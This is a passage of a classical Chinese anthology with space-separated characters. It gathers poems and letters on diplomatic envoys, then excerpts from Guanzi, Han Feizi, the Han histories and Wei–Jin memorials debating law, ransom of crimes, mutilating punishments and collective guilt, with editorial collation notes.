中 久 . 殊 失 礼 仪 .\n【 诗 】 北 齐 裴 让 之 公 馆 宴 酬 南 使 徐 陵 诗 曰 . 嵩 山 表 京 邑 . 钟 岭 对 江 津 . 方 域 殊 风 壤 . 分 野 居 星 辰 . 出 境 君 图 事 . 寻 盟 我 恤 邻 . 有 才 称 竹 箭 . 无 用 忝 丝 纶 . 列 乐 歌 钟 响 . 张 旃 玉 帛 陈 . 皇 华 徒 受 命 . 延 誉 本 无 因 . 韩 宣 将 聘 楚 . 申 胥 欲 去 秦 . 方 期 饮 河 朔 . 属 卧 漳 滨 . 礼 酒 盈 三 献 . 宾 筵 盛 八 珍 . 岁 稔 鸣 铜 雀 . 兵 戢 坐 金 人 . 云 来 朝 起 盖 . 日 落 晚 催 轮 . 异 国 犹 兄 弟 . 相 知 无 旧 新 .\n北 齐 裴 讷 之 邺 馆 公 宴 诗 曰 . 晋 楚 敦 . 盟 好 . 乔 礼 ○ 文 苑 英 华 作 侨 札 . 同 心 赏 . 礼 成 俎 陈 . 乐 和 金 石 响 . 朝 云 驾 马 进 . 晓 日 乘 龙 上 . 双 阙 表 皇 居 . 三 台 映 仙 掌 . 当 阶 篁 篠 密 . 约 岸 荷 蕖 长 . 束 带 尽 欣 娱 . 谁 言 骛 归 两 .\n周 庾 信 将 命 至 邺 诗 曰 . 大 国 脩 聘 礼 . 亲 邻 自 此 敦 . 张 事 原 隰 . 负 扆 报 成 言 . 西 过 犯 风 露 . 北 指 度 轘 辕 . 交 欢 值 公 子 . 展 礼 觌 王 孙 . 何 以 誉 嘉 树 . 徒 欣 赋 采 蘩 . 四 牢 盈 折 俎 . 三 献 满 罍 樽 . 人 臣 无 境 外 . 何 由 欣 此 言 . 风 俗 既 险 阻 . 山 河 不 复 论 . 无 因 旅 南 馆 . 空 欲 祭 西 门 . 眷 然 惟 此 别 . 夙 期 幸 共 存 .\n又 酬 祖 正 员 诗 曰 . 我 皇 临 九 有 . 声 教 洎 无 堤 . 兴 文 盛 礼 乐 . 偃 武 息 民 黎 . 承 乏 驱 骐 马 . 旌 旃 事 鼓 鞞 . 古 碑 文 字 尽 . 荒 城 年 代 迷 . 被 陇 文 瓜 熟 . 交 塍 香 穗 低 . 投 琼 实 有 意 . 报 李 更 无 蹊 .\n隋 卢 思 道 赠 司 马 幼 之 南 聘 诗 曰 . 故 交 忽 千 里 . 輶 车 莅 远 盟 . 幽 人 重 离 别 . 握 手 送 行 行 . 晚 霞 浮 极 浦 . 落 景 照 长 亭 . 拂 雾 扬 龙 节 . 乘 风 溯 鸟 旌 . 楚 山 百 重 映 . 吴 江 万 仞 清 . 夏 云 楼 阁 起 . 秋 涛 帷 盖 生 . 陆 侯 持 宝 剑 . 终 子 系 长 缨 . 前 脩 亦 何 远 . 君 其 勖 令 名 .\n隋 虞 世 基 接 北 使 诗 曰 . 会 玉 二 崤 至 . 瑞 节 三 秦 归 . 林 蝉 疏 欲 尽 . 江 雁 断 还 飞 . 墙 垣 崇 客 馆 . 旌 盖 入 王 畿 . 共 此 敦 封 植 . 方 欣 笃 纻 衣 .\n【 论 】 梁 元 帝 郑 众 论 曰 . 汉 世 衔 命 匈 奴 . 困 而 不 辱 者 . 二 人 而 已 . 子 卿 手 持 汉 节 . 卧 伏 冰 霜 . 仲 师 固 无 下 拜 . 隔 绝 水 火 . 况 复 风 生 稽 落 . 日 隐 龙 堆 . 翰 海 飞 沙 . 皋 兰 走 雪 . 岂 不 酸 鼻 痛 心 . 忆 雒 阳 之 宫 陛 . 屑 泣 横 悲 . 想 长 安 之 城 阙 . 直 以 为 臣 之 道 . 义 不 为 生 . 事 君 之 节 . 生 为 义 尽 . 岂 望 拔 幽 泉 . 出 重 仞 . 经 长 乐 . 抵 未 央 . 及 还 望 塞 亭 . 来 依 候 火 . 傍 观 上 郡 . 侧 眺 云 中 . 虽 在 己 之 愿 自 隆 . 而 于 时 之 报 未 尽 .\n【 书 】 后 汉 孔 融 与 韦 林 甫 书 曰 . 使 君 足 下 . 怀 远 垂 勋 . 西 戎 即 叙 . 前 别 意 恨 . 甚 多 不 悉 . 辛 从 事 至 . 承 获 所 讯 . 喜 而 起 居 . 不 恙 而 到 也 . 云 便 结 驷 . 径 至 旧 治 . 西 土 之 人 . 宗 服 令 德 . 解 仇 崇 好 . 以 顺 风 化 . 万 里 雍 穆 . 如 乐 之 和 . 虽 为 国 家 威 灵 感 应 . 亦 实 士 縠 堪 事 之 效 也 . 昔 伯 安 由 幽 都 而 登 上 司 . 子 琰 以 豫 州 而 取 宰 相 . 近 事 未 远 . 当 勉 功 业 . 以 丰 此 庆 耳 . 闻 僻 疾 动 . 不 得 复 与 足 下 . 岸 帻 广 坐 . 举 杯 相 于 . ○ 冯 校 本 作 扢 . 以 为 邑 邑 . 前 日 元 ○ 原 讹 光 . 据 冯 校 本 改 . 将 来 . 雅 度 弘 毅 . 伟 ○ 魏 志 十 荀 彧 传 注 . 伟 下 有 世 字 . 此 脱 . 之 器 也 . 昨 仲 将 复 来 . 文 敏 笃 诚 . 保 家 之 主 也 . 不 意 双 珠 . 近 出 老 蚌 . 甚 珍 贵 之 . 遣 书 通 心 .\n梁 任 孝 恭 为 李 庆 州 孟 坚 使 与 覃 无 名 书 曰 . 昔 陆 贾 皇 华 . 定 交 知 于 南 越 . 长 卿 披 绣 . 通 夷 险 于 夜 郎 . 故 传 美 于 往 书 . 流 芳 于 篆 素 . 足 下 南 中 盛 族 . 岭 表 豪 门 . 籍 誉 既 深 . 承 芳 已 旧 . 但 道 旷 风 云 . 论 平 生 而 是 即 . 江 山 间 阻 . 衔 杯 酌 以 何 因 . 空 想 神 魂 . 徒 劳 梦 寐 . 仆 世 禀 威 仪 . 门 勒 钟 鼎 . 提 戈 海 岳 . 推 毂 数 千 . 逮 我 不 才 . 无 兼 文 武 . 鸿 私 弗 替 . 应 兹 阃 外 . 麾 盖 所 临 . 寔 宣 慈 造 . 足 下 刺 举 一 隅 . 同 奉 家 国 . 进 止 之 宜 . 寔 俟 高 筭 .\n梁 刘 孝 仪 北 使 还 与 永 丰 侯 书 曰 . 足 践 寒 地 . 身 犯 朔 风\n. 暮 宿 客 亭 . 晨 灼 谒 舍 . 飘 飖 辛 苦 . 迄 届 乡 . 杂 种 覃\n化 . 颇 慕 中 国 . 兵 传 李 绪 之 法 . 楼 拟 卫 律 所 治 . 而 毳 幙\n难 淹 . 酪 浆 易 餍 . 王 程 有 限 . 时 及 玉 关 . 射 鹿 胡 奴 . 乃\n共 归 国 . 刻 龙 汉 节 . 还 持 入 塞 . 马 衔 苜 蓿 . 嘶 立 故 墟 .\n人 获 蒲 萄 . 归 种 旧 里 . 稚 子 出 迎 . 善 邻 相 劳 . 倦 握 蟹 螯\n. 亟 覆 虾 碗 . 未 改 朱 颜 . 略 多 自 醉 . 用 此 终 日 . 亦 以 自\n娱 .\n又 . 律 法 铨 也 . 易 坎 卦 . 主 法 律 . 铨 衡 轻 重 也 .\n管 子 曰 . 正 月 之 朔 . 百 吏 在 朝 . 君 乃 出 令 . 布 宪 于 国 . 五 乡 五 师 五 属 大 夫 . 皆 受 宪 于 君 矣 .\n又 曰 . 法 者 所 以 兴 功 惧 暴 . 律 者 所 以 定 分 止 争 也 .\n又 曰 . 凡 国 无 法 . 则 众 不 知 所 为 . 无 度 则 事 无 仪 . 有 法 不 正 . 有 度 不 直 . 则 治 僻 . 治 僻 则 国 乱 . 故 曰 . 正 法 直 度 . 罪 杀 无 赦 . 杀 戮 必 信 . 民 畏 而 惧 . 武 威 既 明 . 令 不 再 行 .\n又 曰 . 法 者 . 天 地 之 位 . 象 四 时 之 行 . 以 治 天 下 . 四 时 之 行 . 有 寒 有 暑 . 圣 人 法 之 . 故 有 文 有 武 . 天 地 之 位 . 有 前 有 后 . 有 左 有 右 . 圣 人 法 之 . 以 建 经 纪 . 春 生 于 左 . 秋 杀 于 右 . 夏 长 于 前 . 冬 藏 于 后 . 生 长 之 事 文 也 . 收 藏 之 事 武 也 . 是 故 文 事 在 左 . 武 事 在 右 . 圣 人 法 之 . 以 行 法 令 . 以 治 事 理 也 .\n申 子 曰 . 君 必 有 明 法 正 义 . 若 悬 权 衡 以 称 轻 重 . 所 以 一 群 臣 也 .\n又 曰 . 尧 之 治 也 . 善 明 法 察 令 而 已 . 圣 君 任 法 而 不 任 智 . 任 数 而 不 任 说 . 黄 帝 之 治 天 下 . 置 法 而 不 变 . 使 民 而 安 不 安 . ○ 太 平 御 览 六 百 三 十 八 二 字 无 . 乐 其 法 也 .\n又 曰 . 昔 七 十 九 代 之 君 . 法 制 不 一 . 号 令 不 同 . 然 而 俱 王 天 下 . 何 也 . 必 当 国 富 而 粟 多 也 .\n家 语 曰 . 孔 子 初 仕 . 为 中 都 宰 . 中 都 . 鲁 邑 . 制 为 养 生 送 死 之 节 . 长 幼 异 食 . 强 弱 异 任 . 男 女 别 涂 . 路 不 拾 遗 . 器 不 雕 伪 . 市 不 二 价 . 行 之 一 年 . 而 四 方 诸 侯 皆 则 焉 . 定 公 谓 孔 子 曰 . 学 子 之 法 . 以 治 鲁 国 . 何 如 . 孔 子 对 曰 . 虽 天 下 可 . 何 但 鲁 国 而 已 矣 .\n韩 子 曰 . 治 大 国 而 数 变 法 . 则 民 苦 之 . 是 以 有 道 之 君 . 贵 虚 静 而 重 变 法 .\n又 曰 . 圣 人 立 法 . 赏 足 以 劝 善 . 威 足 以 胜 暴 . 备 足 以 必 完 .\n又 曰 . 释 法 术 而 心 治 . 尧 不 能 正 一 国 . 使 中 主 守 法 术 . 拙 匠 执 规 矩 尺 寸 . 则 万 不 失 一 .\n又 曰 . 董 安 于 行 石 阜 山 中 . 见 深 涧 峭 如 墙 . 深 百 仞 . 因 问 其 乡 左 右 曰 . 人 尝 有 入 者 乎 . 对 曰 . 无 有 . 安 于 喟 然 叹 曰 . 吾 能 治 矣 . 使 吾 法 之 无 赦 . 犹 入 涧 之 必 死 也 . 则 民 莫 之 犯 . 何 为 不 治 . 事 具 水 部 涧 篇 .\n又 曰 . 越 王 问 于 大 夫 种 曰 . 吾 欲 伐 吴 . 可 乎 . 对 曰 . 可 矣 . 君 赏 厚 而 信 . 罚 严 而 必 . 君 欲 知 之 . 何 不 试 焚 宫 室 . 于 是 遂 焚 宫 室 . 民 莫 救 火 . 乃 下 令 曰 . 人 救 火 而 死 者 . 比 敌 死 之 赏 . 胜 火 而 死 者 . 比 胜 敌 之 赏 . 不 救 火 . 若 比 降 北 之 罪 . 民 之 涂 其 体 . 被 濡 衣 . 走 火 者 . 左 三 千 人 . 右 三 千 人 . 此 知 必 胜 之 势 也 .\n文 子 曰 . 文 子 问 老 子 . 法 安 所 生 . 曰 . 法 生 于 义 . 义 生 于 众 . 适 合 乎 人 心 . 此 治 之 要 也 . 法 非 从 天 下 . 非 从 地 出 . 发 于 人 间 . 及 己 自 正 .\n申 子 曰 . 君 子 之 所 以 尊 者 令 . 令 不 行 . 是 无 君 也 . 故 明 君 慎 令 .\n慎 子 曰 . 尧 为 匹 夫 . 不 能 邻 家 至 . 西 南 面 而 王 . 则 令 行 禁 止 . 由 此 观 之 . 贤 未 足 以 服 不 肖 . 而 势 位 足 以 屈 贤 也 .\n又 曰 . 法 之 功 . 莫 大 使 私 不 行 . 君 之 功 . 莫 大 使 民 不 争 . 今 立 法 而 行 私 . 是 与 法 争 . 其 乱 甚 于 无 法 . 立 君 而 尊 贤 . 是 贤 与 君 争 . 其 乱 甚 于 无 君 . 故 有 道 之 国 . 法 立 则 私 善 不 行 . 君 立 则 贤 者 不 尊 . 民 一 于 君 . 断 于 法 . 国 之 大 道 也 .\n又 曰 . 故 治 国 无 其 法 则 乱 . 守 法 而 不 变 则 衰 . 有 法 而 行 私 . 谓 之 不 法 . 以 力 役 法 者 . 百 姓 也 . 以 死 守 法 者 . 有 司 也 . 以 道 变 法 者 . 君 长 也 .\n汉 书 曰 . 汉 兴 . 高 祖 初 入 关 . 约 法 三 章 . 曰 . 杀 人 者 死 . 伤 人 及 盗 抵 罪 . 蠲 削 烦 苛 . 兆 民 大 说 . 其 后 四 夷 未 附 . 兵 革 未 息 . 三 章 之 法 . 不 足 以 御 奸 . 于 是 相 国 萧 何 . 捃 摭 秦 法 . 取 宜 于 时 者 作 律 .\n又 曰 . 杜 周 为 廷 尉 . 其 治 狱 仿 张 汤 . 而 善 伺 候 . 上 所 欲 挤 者 . 因 而 陷 之 . 上 所 欲 释 . 久 系 待 问 . 而 微 见 其 冤 状 . 客 有 谓 周 曰 . 君 为 天 下 决 平 . 不 修 三 尺 法 . 以 三 尺 简 书 法 律 也 . 专 以 人 主 意 指 为 狱 . 狱 者 固 如 是 也 . 周 曰 . 三 尺 安 出 哉 . 前 主 所 以 着 为 律 . 后 主 所 是 疏 为 今 ○ 太 平 御 览 六 三 七 作 令 . 当 时 为 是 . 何 古 之 法 .\n又 曰 . 时 上 方 向 文 学 . 张 汤 决 大 狱 . 欲 傅 古 议 . 乃 请 博 士 弟 子 治 尚 书 春 秋 . 补 廷 尉 使 . ○ 汉 书 五 十 九 张 汤 传 作 史 . 平 疑 法 . 奏 谳 疑 . 事 必 奏 . 先 为 上 分 别 其 原 . 上 所 是 . 受 而 着 谳 法 . 廷 尉 挈 令 . 扬 主 之 明 .\n东 观 汉 记 曰 . 陈 宠 曾 祖 父 咸 . 成 哀 间 . 以 明 律 令 . 为 侍 御 史 . 王 莽 篡 位 . 父 子 相 将 归 乡 里 . ● 门 不 出 入 . 收 家 中 律 令 文 书 . 壁 藏 之 . 以 俟 明 王 . 咸 常 戒 子 孙 . 为 人 议 法 . 当 依 轻 . 虽 有 百 金 之 利 . 无 与 人 重 比 . 故 世 谓 陈 氏 持 法 宽 .\n范 晔 后 汉 书 曰 . 郑 弘 . 建 初 初 . 为 尚 书 令 . 旧 制 . 尚 书 郎 限 满 . 补 县 长 . 令 史 报 丞 尉 . 弘 奏 以 为 台 职 虽 尊 . 而 酬 赏 甚 薄 . 至 于 关 选 . 多 无 乐 者 . 谓 使 郎 补 千 户 . ○ 后 汉 书 六 十 三 郑 弘 传 作 石 . 令 史 为 长 . 帝 从 其 议 . 弘 前 后 所 陈 . 有 补 益 王 政 者 . 着 之 南 宫 . 以 为 故 事 .\n说 文 曰 . 科 . 程 也 . 程 . 品 也 . 十 发 为 程 . 十 程 为 寸 .\n杨 雄 剧 秦 美 新 论 曰 . 金 科 玉 条 . 科 条 谓 所 施 也 . 律 金 玉 . 当 珍 之 .\n盐 铁 论 曰 . 昔 秦 法 繁 于 秋 荼 . 而 密 于 凝 脂 . 然 上 下 相 趋 . 奸 伪 萌 生 .\n又 曰 . 夫 善 言 天 者 . 合 之 于 人 . 善 言 古 者 . 考 之 于 今 . 二 尺 四 寸 之 律 . 古 今 一 也 .\n风 俗 通 曰 . 咎 陶 谟 虞 . 始 造 律 . 萧 何 成 九 章 . 此 关 诸 百 王 . 不 易 之 道 也 . 时 所 制 曰 令 . 汉 书 着 于 甲 令 . 夫 吏 者 治 也 . 当 先 自 正 . 然 后 正 人 . 故 文 书 下 如 律 令 . 言 当 承 宪 履 绳 动 . 不 失 律 令 也 .\n王 隐 晋 书 曰 . 荀 勖 与 贾 充 . 共 定 律 令 . 班 下 施 用 . 各 加 禄 赐 .\n【 诗 】 周 庾 信 正 旦 上 司 宪 诗 曰 . 诘 旦 启 门 栏 . 繁 辞 拥 笔 端 . 苍 鹰 下 狱 吏 . 獬 豸 饰 刑 官 . 司 朝 引 玉 节 . 盟 载 捧 珠 盘 . 孟 门 久 失 路 . 扶 摇 忽 上 抟 . 栖 乌 还 得 府 . 弃 马 复 归 栏 . 荣 华 名 义 重 . 虑 薄 报 恩 难 . 枚 乘 还 起 疾 . 贡 禹 遂 弹 冠 . 方 乘 莲 叶 剑 . 未 用 竹 根 丹 . 一 知 悬 象 法 . 谁 思 垂 钓 竿 .\n【 赋 】 晋 傅 咸 明 意 赋 曰 . 侍 御 史 傅 咸 . 奉 诏 治 狱 . 作 赋 用 明 意 云 . 舍 控 款 以 弥 载 . 令 栖 迟 以 淹 留 . 吏 砥 身 以 存 公 . 古 有 死 而 无 柔 . 彼 背 正 以 从 邪 . 我 没 世 而 是 尤 . 敷 肾 肠 以 为 效 兮 . 岂 文 饰 之 足 脩 . 感 恩 输 命 . 心 口 自 灭 . 加 我 数 年 . 竭 力 效 节 . 春 秋 既 不 吾 与 . 日 月 忽 其 不 屈 . 周 道 兮 如 砥 . 言 人 兮 是 由 . 材 曲 兮 枉 桡 . 朽 木 兮 难 抽 .\n晋 傅 玄 释 法 篇 曰 . 释 法 任 情 . 奸 佞 在 下 . 多 疑 少 决 . 譬 执 腐 索 . 以 御 奔 马 . 专 任 刑 名 . 民 不 聊 生 . 通 儒 达 道 . 政 乃 升 平 . 浩 浩 大 海 . 百 川 归 之 . 洋 洋 圣 化 . 九 服 仰 之 . 春 风 畅 物 . 秋 霜 肃 杀 . 同 则 相 济 . 异 若 胡 越 .\n【 赞 】 梁 昭 明 太 子 尔 雅 制 法 则 赞 曰 . 惟 斯 法 则 . 信 如 四 时 . 严 此 刑 政 . 刑 轻 罪 疑 . 霜 威 已 振 . 民 不 敢 欺 .\n后 汉 李 尤 鞠 城 铭 曰 . 员 鞠 方 墙 . 仿 象 阴 阳 . 法 月 衡 对 . 二 六 相 当 . 建 长 立 平 . 其 列 有 常 . 不 以 亲 疏 . 不 有 阿 私 . 端 心 平 意 . 莫 怨 其 非 . 鞠 政 由 然 . 况 乎 执 机 .\n【 令 】 魏 陈 王 曹 植 黄 初 五 年 令 曰 . 夫 远 不 可 知 者 天 也 . 近 不 可 知 者 人 也 . 传 曰 . 知 人 则 哲 . 尧 犹 病 诸 . 谚 曰 . 人 心 不 同 . 若 其 面 焉 . 唯 女 子 与 小 人 为 难 养 也 . 近 之 则 不 逊 . 远 之 则 怨 . 诗 云 . 忧 心 悄 悄 . 愠 于 群 小 . 自 世 闲 人 . 或 受 宠 而 背 恩 . 或 无 故 而 叛 . ○ 本 集 叛 上 有 入 字 . 违 顾 左 右 . 旷 然 无 信 . 大 嚼 者 咋 断 其 舌 . 右 手 执 斧 . 左 手 执 钺 ○ 文 馆 词 林 六 百 九 十 五 二 字 无 . 伤 夷 . 一 身 之 中 . 尚 有 不 可 信 . 况 于 人 乎 . 唯 无 深 瑕 潜 衅 . 隐 过 匿 . 乃 可 以 为 人 . 谚 曰 . 谷 千 驽 . 不 如 养 一 ● . ○ 文 馆 词 林 作 骥 . 又 曰 . 谷 驽 养 虎 . 大 无 益 也 . 乃 知 韩 昭 使 藏 弊 葱 . 良 有 以 也 . 使 臣 有 三 品 . 有 可 以 仁 义 化 者 . 有 可 以 恩 惠 驱 者 . 不 足 以 导 之 . 则 当 以 刑 罚 使 之 . 刑 罚 复 不 足 以 率 之 . 则 明 所 以 不 畜 . 故 唐 尧 至 仁 . 不 能 容 无 益 之 子 . 汤 武 至 圣 . 不 能 养 无 益 之 臣 . 九 折 臂 知 为 良 医 . 吾 知 所 以 待 下 矣 . 诸 吏 各 敬 尔 在 位 . 孤 推 一 概 之 平 . 功 之 宜 赏 . 于 疏 必 与 . 罪 之 宜 戮 . 在 亲 不 赦 . 此 令 之 行 . 有 若 皎 日 . 于 戏 群 司 . 其 览 之 哉 .\n又 黄 初 六 年 令 曰 . 身 轻 于 鸿 毛 . 而 谤 重 于 泰 山 . 赖 蒙 帝 主 天 地 之 仁 . 违 百 寮 之 典 议 . 赦 三 千 之 首 戾 . 反 我 旧 居 . 袭 我 初 服 . 云 雨 之 施 . 焉 有 量 哉 . 孤 以 何 功 . 而 纳 斯 贶 . 富 而 不 吝 . 宠 至 不 骄 者 . 则 周 公 其 人 也 . 孤 小 人 尔 . 深 更 以 荣 为 戚 . 何 者 . 将 恐 简 易 之 尤 . 出 于 细 微 . 脱 尔 之 愆 . 一 朝 复 露 也 . 故 欲 修 吾 往 业 . 守 吾 初 志 . 欲 使 皇 帝 恩 在 摩 天 . 使 孤 心 常 存 入 地 . 将 以 全 陛 下 厚 德 . 究 孤 犬 马 之 年 . 此 难 能 也 . 然 固 欲 行 众 之 难 . 诗 曰 . 德 輶 如 毛 . 鲜 克 举 之 . 此 之 ○ 自 九 六 八 页 一 一 行 禁 止 二 字 起 . 至 此 止 . 宋 本 缺 . 据 明 本 补 . 谓 .\n【 难 】 汉 张 敞 议 入 谷 赎 罪 . 萧 望 之 难 曰 . 国 兵 在 外 . 军 以 夏 发 . 陇 西 以 北 . 安 定 以 西 . 吏 民 并 给 转 输 . 田 事 颇 废 . 素 无 余 积 . 虽 羌 虏 以 破 . 来 春 必 乏 . 穷 僻 之 处 . 买 无 所 得 . 县 官 谷 度 不 足 以 振 之 . 愿 令 诸 有 罪 非 盗 受 财 杀 人 及 犯 法 不 得 赦 者 . 得 以 差 入 谷 . 此 八 郡 赎 罪 . 务 益 致 谷 . 以 豫 备 百 姓 之 急 . 事 下 有 司 . 望 之 与 少 府 李 疆 议 . 以 为 民 含 阴 阳 之 气 . 有 仁 义 欲 利 之 心 . 在 教 化 之 所 助 . 虽 尧 在 上 . 不 能 去 民 欲 利 之 心 . 而 能 令 其 欲 利 不 胜 其 好 义 也 . 虽 桀 在 上 . 不 能 去 民 好 义 之 心 . 能 令 其 好 义 不 胜 其 欲 利 也 . 故 尧 桀 之 分 . 在 于 义 利 而 已 . 导 民 不 可 不 慎 也 . 今 欲 令 民 量 粟 以 赎 罪 . 如 此 则 富 者 得 生 . 贫 者 独 死 . 是 贫 富 异 刑 . 而 法 不 一 也 . 人 情 贫 穷 . 父 兄 囚 执 . 闻 出 财 得 以 生 活 . 为 人 子 弟 者 . 将 不 顾 死 亡 之 患 . 败 乱 之 行 . 以 赴 财 利 . 求 亲 戚 一 人 得 生 . 十 人 以 死 . 如 此 . 伯 夷 之 行 坏 . 公 绰 之 名 灭 . 政 教 一 倾 . 虽 有 周 召 之 佐 . 恐 不 能 复 . 古 者 藏 于 民 . 不 足 则 取 . 有 余 则 予 . 诗 曰 . 爰 及 矜 人 . 哀 此 鳏 寡 . 上 惠 下 也 .\n【 议 】 后 汉 孔 融 肉 刑 议 曰 . 古 者 敦 庬 . 善 否 区 别 . 吏 端 刑 清 . 治 无 过 失 . 百 姓 有 罪 . 皆 自 取 之 . 末 世 陵 迟 . 风 俗 坏 乱 . 政 挠 俗 替 . 法 害 其 民 . 故 曰 . 上 失 其 道 . 民 散 久 矣 . 而 欲 绳 之 以 古 刑 . 投 之 以 残 弃 . 非 所 谓 与 时 消 息 也 . 纣 斫 朝 涉 之 胫 . 天 下 谓 之 无 道 . 夫 九 牧 之 地 . 千 八 百 君 . 若 刖 一 人 . 是 天 下 常 有 千 八 百 刖 也 . 求 世 休 和 . 弗 可 得 已 . 且 被 刑 之 人 . 虑 不 念 生 . 志 在 思 死 . 类 多 趋 恶 . 莫 复 归 止 . 夙 沙 乱 齐 . 伊 戾 祸 宋 . 赵 高 英 布 . 为 世 大 患 . 不 能 止 其 源 . 遂 为 非 也 . 虽 忠 如 鬻 拳 . 信 如 卞 和 . 智 如 孙 膑 . 冤 如 巷 伯 . 才 如 史 迁 . 达 如 子 政 . 一 罹 刀 锯 . 没 世 不 齿 . 汉 开 改 恶 之 路 . 凡 为 此 也 . 故 明 德 之 君 . 远 度 深 惟 . 弃 短 就 长 . 不 苟 革 其 政 者 也 . 魏 傅 干 肉 刑 议 曰 . 盖 礼 乐 所 以 导 民 . 刑 罚 所 以 威 之 . 是 故 君 子 忌 礼 . 而 小 人 畏 刑 . 虽 汤 武 之 隆 . 成 康 之 盛 . 不 专 用 礼 乐 . 亦 陈 肉 刑 之 法 . 而 康 哉 之 歌 兴 . 清 庙 之 颂 作 . 由 此 推 之 . 肉 刑 之 法 . 不 当 除 一 也 . 经 有 墨 劓 剕 割 之 制 . 至 于 凿 颠 抽 胁 . 烹 煮 之 刑 . 卫 鞅 所 述 为 . 非 咎 陶 所 造 . 吕 侯 所 述 . 据 经 按 传 . 肉 刑 不 当 除 有 五 验 . 请 言 其 理 . 荀 卿 论 之 备 矣 . 太 古 质 简 . 制 事 朴 略 . 故 耒 耜 未 用 于 牛 . 而 弧 矢 不 加 筋 铁 . 智 非 闇 也 . 不 识 事 宜 . 以 为 圣 人 纯 一 之 教 . 不 如 贤 者 支 离 之 术 . 郑 卫 可 以 易 咸 池 . 激 楚 可 以 陵 韶 武 耶 . 斯 不 足 复 难 矣 .\n晋 曹 志 议 曰 . 严 刑 以 杀 . 犯 之 者 寡 . 刑 轻 易 犯 . 蹈 恶 者 多 . 臣 谓 玩 常 苟 免 . 犯 法 乃 众 . 黥 刖 鄣 罪 . 而 民 甚 耻 . 且 创 制 墨 刖 . 见 者 知 禁 . 彰 罪 表 恶 . 闻 者 多 服 . 假 使 恶 多 . 尚 不 至 死 . 无 妨 产 育 . 苟 能 杀 以 止 杀 . 为 恶 纵 寡 . 积 而 不 已 . 将 至 无 人 . 天 无 以 神 . 君 无 以 尊 矣 . 故 古 人 宁 过 不 杀 . 是 以 为 上 . 宁 宽 得 众 . 不 宁 急 积 杀 . 若 及 于 张 听 讼 . 刑 以 止 刑 . 可 不 革 旧 . 过 此 以 往 . 肉 刑 是 宜 . 假 令 汉 文 于 张 . 承 大 乱 之 后 . 创 基 七 十 . 国 寡 民 稀 . 止 禁 刑 书 . 鞭 杖 为 治 也 .\n晋 程 咸 女 适 人 不 从 坐 ○ 原 讹 出 . 据 冯 校 本 改 . 议 曰 . 夫 司 寇 作 典 . 建 三 等 之 制 . 甫 侯 修 刑 . 通 轻 重 之 法 . 叔 世 多 变 . 秦 并 重 辟 . 汉 因 循 之 . 大 魏 承 袭 . 未 革 其 弊 . 大 逆 之 诛 . 不 差 已 出 之 女 者 . 诚 欲 绝 恶 类 于 一 族 . 然 法 贵 得 中 . 刑 慎 过 制 . 臣 以 为 女 人 有 三 从 之 义 . 无 自 专 之 道 . 出 适 他 族 . 还 丧 父 母 . 降 其 服 纪 . 所 以 明 外 成 之 节 . 异 在 室 之 恩 . 父 母 有 罪 . 追 刑 已 出 之 女 . 夫 党 见 诛 . 又 随 异 姓 之 戮 . 一 人 之 身 . 内 外 受 辟 . 男 不 衍 祸 于 他 族 . 女 独 婴 罚 于 二 门 . 非 所 以 哀 矜 蒙 弱 . 立 法 之 本 分 也 . 今 女 既 嫁 . 则 为 异 姓 之 妻 . 如 或 产 育 . 则 为 他 族 之 母 . 此 为 元 恶 之 所 轻 忽 . 戮 无 辜 之 所 重 . 于 恩 则 伤 孝 子 之 心 . 而 兴 嫌 怨 之 路 . 臣 以 为 在 室 之 女 . 宜 从 父 族 之 诛 . 既 醮 之 妇 . 使 就 夫 家 之 罚 . 宜 定 齐 科 . 以 为 永 制 .\n【 表 】 晋 卢 谌 理 刘 司 空 表 曰 . 臣 闻 经 国 之 体 . 在 于 崇 明 典 刑 . 立 政 之 务 . 在 于 固 慎 开 塞 . 典 刑 不 明 . 则 人 情 历 措 . 开 塞 乏 慎 . 则 逆 节 滋 萌 . 窃 见 故 司 空 广 武 侯 琨 . 在 东 ○ 疑 当 作 惠 . 皇 帝 扰 攘 之 际 . 值 群 臣 鼎 沸 之 难 . 戮 力 皇 家 . 义 诚 弥 厉 . 躬 统 华 夷 . 亲 受 矢 石 . 王 弥 授 首 于 河 南 . 吕 朗 面 缚 于 荥 阳 . 社 稷 克 宁 . 銮 舆 反 旆 . 奉 迎 之 勋 . 琨 效 忠 之 一 验 也 . 琨 授 并 州 . 属 承 其 弊 . 到 官 之 日 . 遗 户 无 几 . 荆 棘 茂 于 街 里 . 豺 狼 居 于 府 舍 . 既 无 句 ○ 原 讹 白 . 据 冯 校 本 改 . 践 甲 ○ 原 讹 里 . 据 冯 校 本 改 . 楯 之 卒 . 又 无 卫 文 共 滕 之 民 . 当 易 危 之 势 . 处 难 济 之 中 . 鸠 集 伤 夷 . 抚 和 戎 狄 . 会 遭 京 都 失 守 . 孝 怀 版 荡 . 群 逆 纵 逸 . 充 斥 王 畿 . 咸 以 为 并 州 之 地 . 四 塞 为 固 . 东 阻 井 陉 . 西 限 蓝 谷 . 前 有 太 行 之 岭 . 后 有 句 注 之 关 . 琨 抗 辞 厉 声 . 忠 亮 奋 发 . 以 为 天 子 沉 辱 . 而 不 陨 身 死 节 . 言 情 则 非 所 能 安 . 言 罪 则 不 容 于 诛 . 遂 乃 鞠 誓 百 姓 . 修 缮 甲 兵 . 跋 履 山 川 . 东 征 西 讨 . 以 丧 气 之 众 . 当 天 下 严 敌 . 虮 虱 生 于 甲 胄 . 鷰 雀 巢 于 帷 幕 . 虽 不 能 摧 殄 聪 勒 . 且 得 据 其 心 腹 . 琨 破 家 为 国 之 二 验 也 . 琨 乃 稽 民 神 之 旨 . 通 天 下 之 意 . 唱 上 尊 号 . 归 重 圣 躬 . 令 南 北 万 里 . 若 合 符 契 . 此 又 琨 乃 心 本 朝 之 三 验 也 . 比 未 遇 害 . 知 匹 磾 必 有 祸 心 . 唯 恨 不 能 效 节 于 一 方 . 上 不 得 归 诚 于 陛 下 . 辞 旨 ○ 原 作 上 日 二 字 . 据 冯 校 本 改 . 慷 慨 . 动 于 左 右 . 听 其 言 者 . 莫 能 仰 视 . 昔 子 囊 垂 终 . 道 言 城 郢 . 古 人 称 之 . 以 为 忠 贞 . 琨 匪 躬 之 操 . 义 实 茂 之 . 此 琨 没 不 忘 国 之 四 验 也 . 取 乱 侮 亡 . 仲 虺 之 遗 言 也 . 兼 弱 攻 昧 . 随 季 之 善 经 也 . 匹 磾 之 狭 谋 . 踊 跃 一 隅 . 无 以 自 展 . 精 卒 劲 骑 . 不 得 致 力 . 以 一 人 之 身 . 妨 一 国 之 用 . 当 今 二 贼 未 殄 . 方 难 尚 殷 . 而 使 殊 俗 彊 